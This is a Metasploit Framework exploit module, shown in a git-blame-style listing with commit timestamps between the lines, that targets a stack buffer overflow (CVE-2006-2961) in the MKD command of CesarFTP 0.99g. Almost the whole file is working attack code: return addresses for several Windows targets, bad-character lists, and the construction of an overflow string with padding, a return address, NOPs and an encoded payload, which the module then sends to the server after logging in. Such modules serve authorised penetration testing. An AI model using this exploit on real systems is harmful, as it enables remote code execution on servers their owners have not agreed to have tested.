2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-11-12 15:57:37 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-11-12 15:57:37 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2006-11-12 15:57:37 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-11-12 15:57:37 +00:00
|
|
|
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
You must have valid credentials to trigger this vulnerability. Also, you
|
2009-12-14 19:04:40 +00:00
|
|
|
only get one chance, so choose your target carefully.
|
2006-11-12 15:57:37 +00:00
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-11-12 15:57:37 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '2006-2961'],
|
2009-05-19 13:20:32 +00:00
|
|
|
[ 'OSVDB', '26364'],
|
|
|
|
[ 'BID', '18586'],
|
2006-11-12 15:57:37 +00:00
|
|
|
[ 'URL', 'http://secunia.com/advisories/20574/' ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 250,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
2011-02-23 00:58:54 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'SymbolLookup' => 'ws2ord',
|
|
|
|
}
|
2006-11-12 15:57:37 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-11-12 15:57:37 +00:00
|
|
|
[
|
|
|
|
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
|
2007-12-31 16:57:56 +00:00
|
|
|
[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],
|
2009-12-14 19:04:40 +00:00
|
|
|
[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
|
|
|
|
#[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
|
|
|
|
#[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
|
2006-11-12 15:57:37 +00:00
|
|
|
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 12 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
disconnect
|
|
|
|
|
2006-11-12 15:57:37 +00:00
|
|
|
if (banner =~ /CesarFTP 0\.99g/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-12 15:57:37 +00:00
|
|
|
def exploit
|
|
|
|
connect_login
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = "\n" * 671 + rand_text_english(3, payload_badchars)
|
|
|
|
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
|
2006-11-12 15:57:37 +00:00
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
send_cmd( ['MKD', sploit] , false)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-19 13:20:32 +00:00
|
|
|
end
|